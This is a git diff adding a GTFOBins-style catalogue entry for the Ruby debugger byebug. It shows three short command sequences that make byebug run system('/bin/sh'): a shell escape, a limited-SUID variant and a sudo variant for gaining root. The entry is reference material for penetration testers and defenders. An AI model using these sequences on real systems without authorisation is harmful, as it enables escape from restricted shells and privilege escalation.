diff --git a/_gtfobins/byebug.md b/_gtfobins/byebug.md new file mode 100644 index 0000000..7805500 --- /dev/null +++ b/_gtfobins/byebug.md @@ -0,0 +1,21 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + byebug $TF + continue + limited-suid: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + ./byebug $TF + continue + sudo: + - code: | + TF=$(mktemp) + echo 'system("/bin/sh")' > $TF + sudo byebug $TF + continue +---